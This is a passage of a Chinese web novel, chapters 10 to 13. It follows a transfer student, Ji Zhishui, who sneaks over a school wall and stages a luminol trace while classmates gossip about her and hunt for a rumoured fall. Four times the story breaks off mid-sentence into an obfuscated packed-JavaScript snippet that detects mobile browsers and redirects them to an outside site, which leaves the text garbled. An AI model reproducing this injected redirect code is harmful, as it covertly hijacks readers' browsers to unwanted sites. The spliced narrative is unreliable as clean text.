也不知道对方想到了什么,纪之水觉得他脸上的表情愈发倾向于……尴尬。很奇怪的情绪。办公室里没有其他人,李茂却表现得像是她撞破了什么秘密似的。
不过,纪之水不在乎。
现在有更有趣的事情。
纪之水面色如常:“李老师,我来拿请假条。”
“噢噢。这件事。”班主任折身回办公桌,放下手里的东西,故作自然地清了清嗓子,“你先进来吧。”
他拉开抽屉,掏出一沓用皮筋捆得整整齐齐的纸质条子。
请假条是用一种发黄的米色纸打印的。一张纸印了好几张条子,发下来需要班主任自己剪裁。纸张质量不好,撕扯后会有毛边。他习惯于先准备一些剪裁过的、盖了印章的半成品。
李茂将裁剪后捆好的请假条拆开,一连签了数张。黑色水笔过于丰沛的墨迹在劣质纸张上晕染渗透,像是忍受不了一个普通女生没什么情绪的旁观,水笔断墨了。
李茂年近五十。他从刚毕业开始就投身于教学事业,从未觉得疲累。从业二十来年,李茂有过很多学生,很多人说过他是个好老师。每年教师节,都会有往届的孩子回来看他,站在教室门口向他招手,李茂也会回以骄傲又欣慰的笑容。
很偶尔的时刻,他却也会像这只分明还墨水充盈的水笔一样,明明还有工作的能力,但心里无来由地想罢一下工。
他将断墨的水笔搁在一旁,从笔架上抽出一支新笔。请假条终于得以顺利写下去。
或许是人尴尬的时候总会显得话很多。李茂一遍写一边说:“你这个走读证呢估计还要一段时间才能下来,但是门卫那边又很死板,不见到请假条和出门证不肯放人。我最近不一定经常在办公室,今天也是凑巧赶上,就给你多签几张,要是不够了,你之后大课间可以再来找我……”
纪之水说:“好。”
漫长的一大段话得到一个字的回音。李茂噎了噎,像是被浇了一盆冷水,剩下的话也没有兴致往下说了。
批评,白天都已经各打五十大板。安慰,这个年纪的小孩又不一定会领情。还能怎么说呢?
最后,没有人提起白天的事情。
李茂想起家里的儿子,因为和同学发生口角大打出手,将别人家的孩子打进了医院。两个孩子的事情,无非是你骂我、我打你,双方动起手来,可对于成年人,这事情就要复杂许多……
他将一沓纸条递给纪之水。纪之水接过,礼貌地道了声谢,和每个走进他办公室请他签字的孩子没有什么分别。
或许她是个不讨喜的孩子。但李茂心知,纪之水也确实没什么错处。至少比起年纪里赫赫有名的混世魔王,和他那一帮让同学老师深受其苦的“好兄弟”,那点性格上的小问题完全可以忽略不计。
然而,然而。
他是真的没有功夫管了。
.
英语办公室里站了满满当当的一排人。
原本用来摆放作业本的空桌上被学生占据,纪之水见缝插针,顺势挤进一个空位。
两个老师在办公室里来回走动,偶尔停下脚步,靠在办公桌边做沉思状——今天轮到他们留下执勤。这个点还没吃上晚饭,全都是拜这群连默写都没法过关的学生所赐,两个人都有些意兴阑珊,一副想走又走不掉的表情。
好消息是周英没在办公室。纪之水猜她大概是一到点就开开心心去吃饭了。
纪之水很高兴周英没亏待自己,不然要是周英为了她牺牲自己宝贵的晚餐时间,纪之水还真会觉得不太好意思。
每个班的默写内容和进度都不一样,重默模板也不通用,东一张西一张地散落在空桌上。
纪之水很快翻到了周英用红笔写下的重默内容范例,随手放在一边。她的目光落在重默纸旁的名单上,眼前一亮。
A班名单上一共五十一个人。
纪之水是凭空多出来的那一个,名字是草草用黑色水笔写上去的,排列在名单最末端。表格电子档上刚刚添加上她的名字,周英这张名单估计是之前的存货,还是原始版本,凑合着在用。
身边的人来来去去,写完了就收笔找老师批阅。纪之水
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862743|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
由此见识了五花八门的作弊方式:不限于将单词记在手上、夹带纸条,以及团伙作案,一时间目瞪口呆。
重默的学生一抬头就看见了少见的新面孔,怜悯地看了纪之水一眼。心道估计是哪个班的中等生或者优等生马失前蹄了。
和他们比起来她确实像个新兵蛋子,只知道鬼鬼祟祟地瞥身后的老师,进展却一点儿也没有。
同是天涯沦落人的感慨占据了高地,在同一个时间点出现在这间办公室就意味着大家都失去了一天中最宝贵的一个小时。有人善良地伸出了援手,过关后折返回来,找到了莫名变幻了个方位的纪之水。
她刚才不是站在窗户边上么?
这样的疑惑只是一瞬,那人在纪之水面前停下脚步,轻咳两声。纪之水略略缩手,从黑压压的刘海之后略略抬眼,投去谨慎的一瞥。
她不语,登对方先开口。
“你是新来的吧?今天负责管重默的老师抓的不严,经常睁一只眼闭一只眼。你要是没人帮忙可以来默第二次,夹个小纸条就是了,不会有人查的。”说完也怕引起老师的注意,在自己班的表格上打了个圈,扔给纪之水一个眼神就跑去吃饭了。
纪之水连反应的功夫都没有。对方赶时间,话一说完人就瞧不见人影了。
不由地沉默了一下。
将小插曲抛在脑后,她故技重施,在一群人乌泱泱去找老师批阅时跟随人群走动,转换到了另一个空位。
1班的名单……2班……3班……
她很快找到了自己想要的东西。
5班1人,6班2人,11班1人,13班1人,一共五个人缺勤超过一周时间,名单上既不是代表过关的?,也没有打上重默标记,而是由一条意味不明的斜杠占据了名字后的所有空格。显然,那应当是缺勤的意思。
纪之水在倒数第二张纸上记录了所有人的班级和姓名,撕下那页纸囫囵塞进校服口袋,心情愉悦起来。
查完所有名单,她用三分钟时间完成了重默,待老师批阅过关后折返回来,也学着那个提醒她的学生在自己名字后的那一行表格里画了个圈,将本子放在高三A班那一沓。
这下是彻底放学了。
走出教学楼,夕阳西沉,整片天空都被烧得通红。纪之水将一张请假条交给门卫,对方撕下了请假条的第二联塞进抽屉里,将纸条递还给她。
10. 第 10 章
没人看班的晚自习显然是做小动作的好时机。无数纸团在教室低空飞行,高三(7)班或成整个学校最为忙碌的飞行交通枢纽。
刘瑞平一整个白天都在为一件事奔波,那就是纪之水究竟是谁。
他自认为自己已经通过一整个白天的努力成了整个金城高中最了解纪之水的人。而现在,就到了向朋友们汇报成果的时刻。
[纪之水,女,19岁,身高一米六一,体重45kg。于上周一正式转入金城高中借读。说她是转校生其实并不准确,因为纪之水的学籍并不在我们这里,之后高考肯定还是得回原籍。目前没有打探到她之前是哪个学校的。]
[我有个朋友在她上上周五来学校办借读手续的时候见过纪之水和他爸。这里头还有不小的故事。]
刘瑞平写字飞快,字迹难辨,龙飞凤舞。他一面写,罗吉一面看。
即便如此也没有口述来的便捷,还要根据前后文费劲巴拉地辨别刘瑞平写的究竟是什么字。刘瑞平的字不能说不好看,只是胡里花哨,不太好认。
罗吉看的头痛,忍不住出声:“刘瑞平,要不你还是用说的吧。”
刘瑞平用口型道:“万一班主任巡查?”
“要巡查你的纸条也不一定躲得过啊!这还是实物证据。”罗吉指着他洋洋洒洒写了一堆的纸,“到时候你怎么解释自己背地里调查A班女生?暗恋人家?老师不得撕了你!”
那可是全校老师放在心尖尖上的高三A班同学!
A班抓恋爱抓的很紧。甚至因为班里学生都是老师的心头宝,即使抓到了早恋,也是不由分说将锅全都推给平行班学生。
纪之水现在在A班,虽说成绩如何还不明朗,到底占着特优生的头衔。刘瑞平一想,“嗯……也对。”
俩人便召集八卦搭子来听。
.
纪之水不知道晚自习这个点还有几个高中生为了她作业不思,凑在一起嘀嘀咕咕个不停。
这很不应该。高中生做作业要专心。孩子们怎么能学业不想想同学?
出了学校,想吃上饭就三个选择,校内、校外和家里。校内肯定不行,通往食堂的路线单一,万一碰上熟人,容易引发不必要的支线任务。回家更不是个好的选择,晚上还有事,来回一趟数不尽的麻烦。纪之水只好在街上寻觅。
离得最近的是一家早餐店,开了许多年,到了下午肯定已经关门了。除去早餐店,纪之水只零零星星看见几家文具店和奶茶店,不知道周边居民怎么受得了的。
金城高中对面是居民小区,有不少走读的学生都住在那儿。纪之水不。她住的地方和金城高中不远不近,回家乘公交车要三十分钟。
再往走一段路,眼前豁然开朗。几百米外有个小商业广场。晚餐早早结束,纪之水感觉手机在包里震动,掏出手机看了一眼。
有人问她在新学校是否适应。她回复了关心她的朋友,说一切都好,同学们很好相处。
有一个红点消息沉在信息栏底部,楚静水没高兴回,反而把手机设置成了静音。她回了班级之后恶补金城高中规章,手机赫然在违禁品之列。
也巧,带了这么多天手机没静音,居然没被抓。算她运气好。
天色一暗,纪之水走出小餐馆,重新向学校的方向走去。远远看见门卫在保安亭打盹,不时有学生老师从正门进出,时间不紧,纪之水遥遥看了一会儿。
白天要早起,凌晨五点多她比吃树叶中毒的考拉还困,就算学校门口放鞭炮她都不带停下来看的。
最后还是走小门。
小门在操场后边,被一把沉重的大锁挂住,锁瞧着都快生锈了。快生锈意味着不常开,检查的人也少。纪之水也是从同学口中听到的消息,用的还是旁听陈芊他们聊天一样的方法。
自然而然地插话。
“周五晚自习要不要去小吃街玩?”
“好啊好啊。”
“能搞到请假条吗?马上要月考,条子不好开。”
“害,谁还用请假条那玩意儿?”
几人对视一眼,心照不宣。纪之水脚步也停了,她敏锐地察觉到接下来会有她想要听的内容。不过这几人已经熟的不能再熟,这时候想要得到有用的消息,就得推波助澜一把。
“那我们哪里集合?”纪之水问。
“操场后边,老地方!”
天降的消息就这么来了。很有用,本地居民爱用小道,童叟无欺。
纪之水好像天生就有着容易被人忽略存在的“特异功能”,从静静融入到悄然离开都不会有任何一个人发现不对。哪怕有时候更恶趣味一点,大张旗鼓地和刚认识三分钟的朋友礼貌告别,粗线条的新朋友也只会顺口说再见。
小概率会触发“吓一跳”事件。
不过,纪之水很久没这么做了。纪之水也不是什么喜欢看别人吓一跳的家伙。
纪之水用脚拨了拨地上杂乱的野草,在墙角发现了堆叠起来的几块砖头,起初被杂草胡乱盖着,不显眼。
她用不着砖头垫脚,虽然身量不算高,轻轻一蹦,撑着墙壁就上去了。纪之水如猫科动物般轻盈落地,拍拍手掌的墙灰,整个过程堪称行云流水。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862744|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻墙,小事而已。
她远望着不远处群山的轮廓,月亮明净如玉盘。金城风景很美。目前为止,这还是个很有意思的地方。
.
陈芊和吴羽非常豁得出去,为了交流有趣的小道消息,直接面朝后坐了。
作为英语课代表,陈芊很是自然地表示:“这一段是英语时间。被抓到了我可以说是在辅导你们英语作业。”
刘瑞平叹服于聪明人的思维:“女士大义!”
他销毁了写了一半的纸条,略过了上午已经交流过的那一部分,从头开始说起。
有了后半天的四处打探,消息更加丰富。
“首先这里就有个悖论:金城高中的分数线是本地最高的,而纪之水来借读,读的是A班。”
“?”吴羽不懂,“怎么就悖论了?”
罗吉道:“如果纪之水的成绩优秀得足以进A班,那么她中考的时候考上我们学校是毫无问题的。如果她本身成绩一般,需要靠借读这条捷径才能进金城高中,那她凭什么进入A班?”
“是啊,为什么?”吴羽说。
刘瑞平大胆推测:“花钱。”
“据我所知,纪之水的弟弟黎明达就读的初中是金城国际,一年光是学费就要接近六位数,而他本人平日里出手大方,显然经济条件宽裕。黎家至少也是小富!”刘瑞平很快想通了其中的关键,摇头叹惋,“我们学校的良心大大滴坏,居然因为区区碎银几两,就降低了金城高中高三A班的含金量!”
陈芊听了不太舒服。她举手发问:“你怎么能断定纪之水成绩不好,借读名额是买进来的?就因为她家很有钱?我认为逻辑不成立。”
“纪之水早上也说了,她转学是因为家里工作变动。说不定她之前根本就不在金城本地……”
“打断一下,小姐姐。”刘瑞平也学着陈芊刚才的模样举手发问,“我以为我们上午已经达成共识了。黎家一直都住在金城本地,是本地人无疑。怎么到晚上你忽然翻供了?”
“因为我当时没想明白。”陈芊说,“但是我现在想通了。”
人类在八卦面前,可以爆发出无限的严谨,捕捉每一个字背后的蛛丝马迹。三人将舞台交给踊跃发言的陈芊,眼睛里闪烁着八卦而智慧的光。
“我倾向于纪之水她从来没有说谎。你们也说了,纪之水爸爸和她弟弟跟她都不是一个姓,这在普通家庭里并不常见。”
陈芊道:“有没有可能,纪之水一直跟随母亲生活?她所说的‘家里人工作变动’,指向的不是她父亲,而是她早就和黎兴学分居两地的母亲!”
11. 第 11 章
父母感情破裂,妈妈带女儿,儿子跟爹。孩子一个随妈姓一个随爸姓,听起来很合理。
吴羽越听越觉得陈芊的推测完全符合逻辑,毫不犹豫投了赞成票:“芊芊说的非常有道理啊!”
罗吉抓住了其中的漏洞:“那么问题又来了。如果是你推断的那种情况,为什么上上周五陪同纪之水来办手续的是她父亲而不是她母亲?”
“或许她妈妈当时也在安顿工作,抽不开身?”
“那我将用你刚才的逻辑驳倒你了。你这么说也是猜测居多,完全没有实证啊!”
说到后来,双方各执一词,又演变成多人混战,说辞也愈发离谱。乱中甚至有人声称纪之水是来自外星,进入金城高中是为了征服地球。
“她确实很像外星人啊。我光是看到她的眼睛都觉得阴森森的,感觉这种人会在背地里扎我小人!很恐怖的好不好!”
“你在说什么,外星人怎么可能会扎小人啊!”
“就是,会扎小人的得是什么巫蛊师吧?”
陈芊已经插不上话了。她欲言又止地伸出了手,却不知道从谁开始劝,“为什么又吵起来了……”
还没开始劝和,三人已自行结束了战争。
刘瑞平语气沉着:“说到底,猜测只是猜测,下任何结论都要讲证据。”
他的眼中爆发出无与伦比的光辉,近乎得知体育课提前下课可以率先冲入食堂的兴奋:“从今天开始,我将继续收集信息,不管她纪之水是谁是鬼,我都……”
“喂,刘瑞平。”陈芊道,“你过分了吧?”
原本兴致激昂的吴羽第一时间察觉到不对劲,当即闭上嘴,将快到嘴边的话原原本本吞进肚子里。她瞅着陈芊忽然阴沉下来的脸色,安静如鸡。
罗吉和刘瑞平面面相觑。陈芊性格温柔,平常虽然偶尔会有惊世之语,但大部分时候都是轻声细语、笑意盈盈的,很少发火。
刘瑞平当即反思,一时间没想出哪句话踩了雷,值得陈芊点名批评。
“呃……是我说话有问题。”他小心翼翼试探道,“子不语怪力乱神?”
他记得陈芊说自己什么八字身弱来着……好像还怕鬼。他也许不应该说纪之水是鬼,未免对纪之水本人有失尊重,还容易吓到朋友。
“我们背后八卦一下人家乱猜一通也就算了,大家都有分寸,不管说了什么话也不会往外传。”陈芊说,“但周围一圈人都问过了,之后还要再去调查纪之水,是不是有点不太合适了?知道她家庭情况,然后呢?提着水果牛奶上门拜访叔叔阿姨?”
“……我也不是那个意思。”什么嘛,他也不是变态啊。
刘瑞平摸了摸鼻子,讪讪道,“就是纯好奇,没恶意。”
被四人中性情最软和的陈芊不留情面地点破,那股子发现新鲜事的激动褪去了,理智又重新跑了回来。刘瑞平后知后觉地意识到他刚才那番话有多出格。
高中生活平静如水,还是一潭死水。偶尔出现一个哪里都透着古怪的新面孔,刘瑞平不得不承认,他是激动过了头。
“那我今天在这表个态吧。”刘瑞平清了清喉咙,正色道,“你说的有道理,毕竟是人家家里的私事,我不该瞎打听,之后也不会再去查了。”
气氛一时间有点尴尬。
吴羽左看看右看看,只想赶紧把这一段带过去,半开玩笑地说:“刘瑞平你这一天到晚的纯粹瞎忙啊。”
“一整天光顾着琢磨这些没头没尾的事儿,还不如去打听打听有人跳楼是真的假的呢。”
“吴羽!”罗吉低声说,“不是说这件事不再提了么?”
说是不再提,但有谁能听过之后真的不管。
手电筒的光划过空地,镂空压花砖头缺了一角,杂草从砖石的空隙中试探性地伸出了枝叶。吴羽打了个哈欠,手电筒也在手里跟着乱晃,照得草叶摇摆不停。
她随口道:“消息可靠么?万一被抓到了……”
“放心吧放心吧,瞅瞅会议室那边的灯有多亮——诶!”刘瑞平压下吴羽的手电筒,心脏差点从嗓子眼里蹦出去,深吸了一口气,又吐出去了,“我只是让你搂一眼!拿手电筒照过去和自首有什么区别?别担心了,学生会里有我的好homie,结束前会给我发消息的。”
吴羽看了眼一惊一乍的刘瑞平,哦了一声。
晚自习的艺术楼也已经看不见光了。四人鬼鬼祟祟的在墙壁后探头探脑,想象自己是詹姆斯邦德或者惊天魔盗团,以错漏百出的身法扒在窗户上往美术教室里张望。
断臂的胸像、惨白的石膏安静地站在桌面上,承载着月光和窗外几双眼睛好奇的打量。
“应该是这一层……差不多这个方位的教室。”刘瑞平说。
“没有钥匙?”罗吉问。
“废话。”刘瑞平不太客气地翻了个白眼,“谁不知道保安大叔那有全校每间教室的备用钥匙,你去偷?”
“……”罗吉耸了耸肩膀。
吴羽趴在走廊栏杆上,亮度调低的手电筒射出光柱,漫无目的地划过楼下的砖石。什么也没有啊……她真的越来越怀疑刘瑞平是不是胆子太小,听到点动静就吓得哇哇乱叫。
“吴羽,快过来!”陈芊招了招手。
隔着一道玻璃,终于有了新发现。两道手电筒的光芒照向同一个方位,桌椅掩映之下,过道里躺着一枚半新不旧的玩偶挂件。
“这能说明什么?”吴羽隔空用手电筒点点挂件。
“仔细看。”陈芊说,“挂件的挂绳是被暴力扯断的,这里很有可能发生过争执。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862745|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>罗吉仰头看了一眼教室外的门牌,“美术教室3是哪个班在用?”
“还挺多的,高一高二高三都有,具体使用情况还得探一探教务处或美术老师办公室。”刘瑞平随口道。
今天肯定是来不及夜探办公室了。
美术老师不用看晚自习,办公室和教室五点多就已经落了锁。艺术楼位置偏僻,一入夜说是阴风阵阵也不为过,刘瑞平搓着手臂上的鸡皮疙瘩,有些蔫蔫的,激不起一点儿探索“凶案现场”的兴奋感。
罗吉试探性地拉了拉美术办公室紧锁的门。
果不其然,门纹丝不动。
罗吉回过身,毫不意外地说:”锁严实了。”
几人不约而同地露出失望的表情。
“那咋办啊,就这么空手而归?”吴羽道。
“也不是完全没有收获。”陈芊沿着走廊缓步前进,另一枚手电筒在她手里,划过黑漆漆的走廊。
阳台上靠着零星两三盆绿植,都有些发蔫。他们平常上课的美术教室在三楼,对四楼的走廊完全不熟悉,看来看去,四楼也没什么特别的地方。
“你是说那个小挂件?”
美术教室人来人往,断了挂绳的挂件说明不了什么。一场似是而非的矛盾、推搡?拐到刘瑞平看到的那起疑似坠楼案上还差着十万八千里呢。
刘瑞平清了清喉咙,站在走廊上摆开了阵仗。此前他已经简略描述过一遍当日所见,现在到了案发现场,更绝如鱼得水。
有同伙三人作陪,他倒不觉得害怕了,站在美术教室3的后门跑来跑去。
“我只知道掉下去的应该是个女生。她是一头披肩发,周围围着几个人,我只看了一眼,分不清是男是女,少说也有三五个人吧。”刘瑞平做推搡状,一人饰演N个角色,“‘砰’的一声响后,我吓了一跳,怕他们抓到我这个目击者,一矮身躲在了窗下。”
吴羽露出了极度一言难尽的表情,像是用脸骂了句掷地有声的脏话。她没打断。
“然后我就想到了要保留点证据。我掏出私藏的手机,调成录像模式——”
……有录像为什么不早点说。罗吉瞪了刘瑞平一眼。
他们围观了刘瑞平那份只有十几秒之长的录像。
视频里,一个人都没有。
镜头摇晃了几秒,对准了艺术楼,展示了一个很长的空镜。如果不是刘瑞平手在抖,这和一张拍的很烂的风景照无异,吴羽心中无语得有些发笑。
罗吉摸了摸下巴:“视频里艺术教室3的门窗是开着的。”
他话说了一半,闭上嘴,正好对上刘瑞平的洋洋得意的表情。刘瑞平自诩从不做没意义的事儿,可是嘴一张开,就被罗吉毫不犹豫地堵上了。
走廊深处,传来某种不容忽视的声响。
12. 第 12 章
“嘘——”罗吉示意他们噤声。
陈芊和吴羽对视一眼,很快反应过来,慌慌张张地关掉了手电筒。两道灯光倏忽熄灭了,走廊又陷入一片黑沉。陈芊小腿肚打颤,将手电筒揣进怀里,两只手捂住嘴,靠着墙壁悄然蹲下。
黑暗中,悉悉索索的动静都被无限放大,仿佛回响在耳边。
一阵衣料摩挲的声响。
哒、哒、哒……
渐远的脚步声。
整条走廊陷入死寂,凄冷的月光照着四人惊疑不定的面孔。许久之后几人凝重的眼神才重新开始流转。
陈芊颤颤巍巍地开口:“刚才好像……有人过去了。”
刘瑞平猛的骂了句脏话。
“谁在那装神弄鬼……”
几人一听,便知道他是色厉内荏。刘瑞平的语调分明还发颤呢。
当下却也没人有心思嘲笑刘瑞平了。先前那阵响动所有人都听的真切,彼此吓得噤若寒蝉的样子看起来都差不离。
“这里怎么会有人?”
“难道是老师?”
“老师今天开会啊……高一高二的班主任在看班吧,谁往艺术楼晃。”
“学生会的人吧。算算时间,也到了巡查的点了。”
“那就更不可能了!”
学生会见了学生晚自习在艺术楼游荡,哪有不当场拿下的道理?
他们沉默下来,面面相觑,均是无心探查。陈芊只觉得一颗心还在胸腔里跳的厉害,连怎么跟着他们下的楼都不知道。她缀在稀稀落落的脚步声里,心不在焉地用手电筒最低的一档灯光照亮前路,忽然瞪大了眼睛。
“那是什么?”她伸出一根手指,直指不远处的地面。
吴羽调亮了手电筒。
众人顺着陈芊所指的方位看去。
艺术楼前的那片空地,整齐地铺着镂空压花的砖石,被陈芊指出的角落靠近花坛,发出点点幽蓝的荧光。
一阵大呼小叫。
纪之水站在墙边,深色围巾裹住小半张脸,几乎和阴影融为一体。她没有费心隐藏,然而就站在她前方不远处的人群又一次忽视了她。
说实话,这种感觉真不赖。
纪之水吃吃笑了两声,仗着没人会发现她,便闲庭信步走上前去听。
刘瑞平:“哈哈,谁的荧光棒漏液了,真倒霉。”
罗吉:“……你再说那种蠢话试试呢?”
纪之水歪了歪脑袋。刘瑞平总是会口不对心,脱口而出的话往往与真实想法的相悖,她能感觉到他从身上散发出来的那股恐惧,即便如此,刘瑞平也要强撑着在伙伴面前说出玩笑话。
说假话的刘瑞平,比说真话的顾天倾好懂。纪之水心想。她想到顾天倾那张阳光俊逸的面孔,笑容消失。
吴羽蹲了下去,在男人们的大呼小叫和强壮镇定里率先近距离观察起那片荧光。不止压花砖头上,绿化带的叶片上也撒了不少,只是乍看上去更为隐蔽。
“我知道,这肯定是刑侦剧里的一定会出现的那个……”
“鲁米诺试剂。”罗吉接话。
化学试卷上有道靠后的选择,考过鲁米诺试剂,但考得浅。罗吉记得那道题的考点是铁的催化反应,题干很长,答案简单。
无数人在考场上和luminol对面不识,错过一道送分题。化学老师讲解试卷时,原本报了答案就想跳过,错的人多,才顺口带了一句。
提起C8H7N3O2有人会问那是什么玩意儿,但在侦探小说和刑侦剧里,鲁米诺大名鼎鼎。鲁米诺和过氧化氢反应会产生蓝色荧光,时常被用于血迹检测。
陈芊咕咚咽了口口水,抱上了吴羽的胳膊,“真的、真的有血……好大一片……”
“冷静点。这不能代表什么,芊芊。”吴羽没有伸手,手电筒将角落照了又照,胆子逐渐大了起来。这里是学校,很安全,最需要提防的只有教导处老师和巡查保安,她不觉得有什么值得陈芊怕成这样。
叶片被手电筒照得分明。看来看去,除了鲁米诺试剂显现出的血迹,没有更多的线索。她站了起来,捂住陈芊的眼睛,将她从地上拽了起来。
“怕就别看了。”吴羽说,“这点出血量还没到死人的地步。鲁米诺试剂也会受到其他东西的干扰,说不定土里埋了铁呢。”
罗吉想吴羽应该也记得那道选择题。
吴羽一手揽着陈芊,侧身转动手电筒,却再也没有在黑暗中找到类似的痕迹。
“我去,这怎么不亮了?”刘瑞平忽然道。
那道显眼的蓝色荧光,一点一点被黑暗蚕食。纪之水就这么看着四个高中生依次在她面前蹲了下来,晃着手电筒对几片叶子指指点点。
倒是看过一点侦探小说。了解的却也不多。
四个人没讨论出什么有用的结果,话题一度跑偏,还是陈芊叫停,几人哆哆嗦嗦着准备彼此搀扶着回班。纪之水没跟上去,退回艺术楼墙后的阴影里。
鲁米诺试剂是她洒的。
化学实验室有现成的材料,门锁也易开,只是配制略略花点时间。
诚如吴羽所言,现场能够检测到的血迹含量不多。她现在更倾向于金城高中发生坠楼案只是刘瑞平害怕之下的脑补,周末当天确有人在艺术楼发生争执,或许没闹出太坏的后果。
纪之水绕回操场,还是熟悉矮墙,熟悉的一摞砖头。
正当她摩拳擦掌之时,背后打来一道光。
纪之水回头,手电筒适时往边上一偏,避过她的眼睛。
“晚上好。”顾天倾才认出她,流露出几分惊讶,而后笑眯眯地说,“是你呀,纪之水同学。”
他还是穿着金城高中那身没什么设计可言的蓝色冬装校服。对比同样很难给出好评的春秋装和夏装,金城高中的冬装校服丑的更为突出。
纪之水很是做了一番心理建设,才将自己塞进这么一套丑的惨绝人寰的衣服里。借着手电筒的光亮一看,她也只是觉得这套丑衣服套在顾天倾身上勉为其难变得顺眼了一点。
余光瞥见顾天倾的胳膊上,赫然是一道颜色深红的袖章。
纪之水再一次来到了金城高中小小的屋檐之下,心中涌动起复杂的情绪:
怎么是他。
怎么老是他。
这样的日子要什么时候才是个头?
“部长,南侧门那边我们已经查完了,没抓到人。”不远处传来汇报声。
小门位于操场边缘。整
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862746|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个跑道上都没没装路灯,靠近小门的这片围墙更暗,因为疏于打理,校内校外杂草丛生。是以几个学生会的学生没看见墙上还扒着一个纪之水。
纪之水一只手扒在墙面上,放手不是,翻过去也不是,就这么被抓了个现行。
她没慌,直视顾天倾半晌,缓缓开了口:”我有请假条的。”
出个校门合情合理。至于翻墙,那属于个人爱好。
“我知道的。你是走读生。”顾天倾说。
见他微微侧身,纪之水的眉毛拧起了一点。
她不意外顾天倾要和人告状,只是觉得被抓住会很麻烦。如果碰上的老师比家事缠身的李茂难搞,非要见到黎明学才罢休,她会觉得头痛。
顾天倾关了手电筒,扬声对操场另一边等候的组员道:“西门也没什么问题,你们先回班吧,第二节晚自习也快开始了。”
纪律部只是有晚自习巡查的权利,作业还是要照做的。一天待在学校十来个小时,逛也逛烂了,组员们听到解散也没多想,反而一叠声喊谢谢部长、部长再见。
顾天倾经常这样提前放他们回去,意味着今天晚上的表格记录和上交由他一手包办。纪律部检查是轮班制,每回和顾天倾搭档都很轻松。他们还能趁着职务之便去趟食堂旁边的便利店,时间得抓紧。
顾天倾身后的人群就这么散开了。手电筒关掉后,纪之水的双眼很快适应了黑暗,她贴墙站着,能将那几个结伴离去的学生看得很分明。
顾天倾像是好奇一样问她:“隔那么远,你看的见他们吗?”
顾天倾没问她扒在这儿干什么,反而问点有的没的问题,可以理解为想让她放松警惕,说是脑回路神鬼莫测却也合理。
纪之水没吭声。
顾天倾有时候很讨厌,有时候也不,何况这回他是真放了她一马。
今天晚上其实有月亮。很淡的月光像一层薄纱,顾天倾察觉到纪之水不喜欢手电筒的光亮,可是关掉了手电筒,月光却不肯将他眼前的场景照得明晰。
他几乎完全置身黑暗,两颗黑曜石一样的眼瞳不转,即便纪之水不搭话,他仍旧嘴角微微上扬着问:“以为我要举报你?怎么把我想的那么坏。”
纪之水淡声道:“谢谢。”
她不爱说废话。此为破例。
话音落意识到有些地方不对劲。顾天倾双眼不动,朝着她的方向微微偏头——是倾听的姿势。仿佛在这个月明星稀的晚上,他被剥脱了视觉,只能仰赖听力观察世界。纪之水迟疑片刻,将一只手伸到他面前挥了挥。
“试探我是不是瞎子?”顾天倾问。
纪之水确定了,他是。
“眼神不好就别大晚上还在外面晃了。”纪之水拍了拍手掌,准备爬墙,被顾天倾轻轻叫住。
“翻墙不安全。走吧,我带你出去。”
纪之水想说“不要”。她既怕门卫记得她的脸,又不想多掏一张请假条。请假条是金城高中的硬通货,在哪个班主任那儿都难开。
不过……
“你带我出去?你要逃学?”纪之水眯了眯眼,犀利地问。
“不是,正常放学而已。”顾天倾说,“我也是走读生,今天留下来执勤而已。”
13. 第 13 章
“啪嗒”一声轻响,玄关的瞬间灯亮起,将门口那个正在换鞋的小小身影照得分明。
她弯腰褪下脚上的白色运动鞋,踩进那双母亲特意为她特意准备的粉红小兔纯棉拖鞋里,没有抬头。
纪之水还是散着她那头清汤寡水的、黑漆漆的长直发,从他的角度只能看见一截雪白微尖的下巴,抵着脖颈处的深棕色羊绒围巾。
纪之水抬头时,黎明达还保持着按亮开关的姿势。他半靠在墙壁上,脸色阴沉地盯着她看。
黎明达质问:“你为什么不回我消息?”
纪之水道:“没有看见。”
“撒谎——!”黎明达叫喊起来。
很吵,像只上蹿下跳werwer叫个不停的小狗。纪之水别过脸。
